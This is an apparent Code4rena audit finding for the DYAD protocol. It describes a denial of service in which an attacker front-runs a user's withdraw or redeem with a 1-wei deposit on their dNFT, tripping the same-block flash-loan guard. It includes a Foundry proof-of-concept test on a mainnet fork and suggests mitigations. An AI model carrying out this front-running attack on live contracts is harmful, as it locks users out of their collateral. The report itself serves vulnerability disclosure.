c4-bot-8 commented 6 months ago

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/4a987e536576139793a1c04690336d06c93fca90/src/core/VaultManagerV2.sol#L143

Vulnerability details

In VaultManagerV2::withdraw, there is a protection from flash loans by checking if there is an already deposit by the dNFT id on the same block:

function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
) 
    public
    isDNftOwner(id)
{
    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
    // rest of the code
  }

The idToBlockOfLastDeposit is updated when a deposit is made:

function deposit(
    uint    id,
    address vault,
    uint    amount
) 
    external 
    isValidDNft(id)
{
    idToBlockOfLastDeposit[id] = block.number;
    // rest of the code
  }

We can see that deposit has the modifier isValidDNft because someone can deposit on behalf of another dNFT. However, a malicious actor can abuse this modifier by front-running withdrawal requests to deposit on behalf of the DNft making the withdraw, so idToBlockOfLastDeposit will be set for that DNft, and thus, the flash loan protection mechanism will prevent the withdrawal request.

The deposit does not enforce any minimum value, so a malicious actor depositing 1 wei value is enough to perform the DoS.

Consider the following example that is demonstrated by a runnable PoC (numbers are kept small for simplicity):

Alice has DNFT of id 1 and already minted 1 dyad.
Alice decides to redeem her dyad to get back her collateral, so she initiates a tx calling redeemDyad
Bob notices Alice's tx on the mempool, he front-runs the transaction and deposits 1 wei wETH on behalf of Alice, passing her DNft ID to the deposit function. Now, idToBlockOfLastDeposit[1] which corresponds to Alice is set to the current block number
Alice's transaction (redeemDyad) will revert due to the flash loan protection

Impact

Malicious actors can exploit the current implementation of flash loan protection to prevent others from making withdraws or redeems.

Proof of Concept

The following test demonstrates the described example above. Copy and paste the following contracts to /test:

Base2Test.col:


// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol"; import "forge-std/console.sol"; import {DeployV2, Contracts} from "../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManager} from "../src/core/VaultManager.sol"; import {Vault} from "../src/core/Vault.sol"; import {Payments} from "../src/periphery/Payments.sol"; import {OracleMock} from "./OracleMock.sol"; import {ERC20Mock} from "./ERC20Mock.sol"; import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {VaultWstEth} from "../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol"; contract Base2Test is Test, Parameters {

Kerosine kerosine;
Licenser vaultLicenser;
VaultManagerV2 vaultManagerV2;
Vault ethVault;
VaultWstEth wstEthVault;
KerosineManager kerosineManager;
UnboundedKerosineVault unboundedKerosineVault;
BoundedKerosineVault boundedKerosineVault;
KerosineDenominator kerosineDenominator;
DNft dNFT =  DNft(MAINNET_DNFT);

address alice = 0xD2ce17b0566dF31F8020700FBDA6521D28d98C22; // has 15 WETH balance;
address bob = 0x8BdDD807A2b61722660351864A3cF355A5503293; // has 4 WETH balance;
uint aliceDNFT;
uint bobDNFT;

function setUp() public { vm.createSelectFork("https://eth.llamarpc.com", 19691300); Contracts memory contracts = new DeployV2().run();

kerosine = contracts.kerosene;
vaultLicenser = contracts.vaultLicenser;
vaultManagerV2 = contracts.vaultManager;
ethVault = contracts.ethVault;
wstEthVault = contracts.wstEth;
kerosineManager = contracts.kerosineManager;
boundedKerosineVault = contracts.boundedKerosineVault;
unboundedKerosineVault = contracts.unboundedKerosineVault;
kerosineDenominator = contracts.kerosineDenominator;

vm.prank(vaultLicenser.owner());
vaultLicenser.add(address(boundedKerosineVault));

aliceDNFT = dNFT.mintNft{value: 1 ether}(alice);
bobDNFT =   dNFT.mintNft{value: 1 ether}(bob);

vm.prank(0xDeD796De6a14E255487191963dEe436c45995813);
Licenser(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85).add(address(vaultManagerV2));

} }

2. `VaultManagerV2.t.sol`:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import {Base2Test} from "./Base2Test.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IWETH} from "../src/interfaces/IWETH.sol";
import {Licenser} from "../src/core/Licenser.sol";
contract VaultManagerV2Test is Base2Test {
error NotLicensed();

  function test_malicious_actor_can_DoS_redeem_or_withdraw() public {
    // ============================== Preconditions ==============================
    vm.startPrank(alice);
    vaultManagerV2.add(aliceDNFT, address(ethVault));
    IWETH(MAINNET_WETH).approve(address(vaultManagerV2), 1 ether);
    vaultManagerV2.deposit(aliceDNFT, address(ethVault), 1 ether);
    // 1 ETH ~ $3074 at the forked block. 150% collateral is satisfied
    vaultManagerV2.mintDyad(aliceDNFT, 1 ether, alice);
    vm.roll(block.number + 1);

    // ============================== Attack ==============================
    // Alice wants to redeem her dyad or withdraw her colalteral
    // Bob notices the transaction so he decides to front-runs it and deposit on behalf of her
    vm.startPrank(bob);
    IWETH(MAINNET_WETH).approve(address(vaultManagerV2), 1); // @audit 1 wei is enough
    vaultManagerV2.deposit(aliceDNFT, address(ethVault), 1);
    vm.stopPrank();

    vm.startPrank(alice);
    bytes4 expectedErrorSelector = bytes4(keccak256("DepositedInSameBlock()"));
    vm.expectRevert(abi.encodeWithSelector(expectedErrorSelector));
    vaultManagerV2.redeemDyad(aliceDNFT, address(ethVault), 1 ether, alice); // @audit Alice wansn't able to make the redeem
  }
}

NOTE: Notice that Base2Test::setUp is forking from Ethereum mainnet using an RPC, make sure to set your proper Mainnet RPC
forge test --mt test_malicious_actor_can_DoS_redeem_or_withdraw

[PASS] test_malicious_actor_can_DoS_redeem_or_withdraw() (gas: 294705)


## Tools Used
Manual review
## Recommended Mitigation Steps
There are two possible mitigations, and it is up to the dev team to decide the proper one
1. Restrict a minimum deposit value when making a deposit. The minimum value should disincentivize malicious actors from exploiting the attack.
2. Replace the modifier `isValidDNft` with `isDNftOwner` on `deposit`

## Assessed type

Error

c4-pre-sort commented 5 months ago

JustDravee marked the issue as duplicate of #489

c4-pre-sort commented 5 months ago

JustDravee marked the issue as sufficient quality report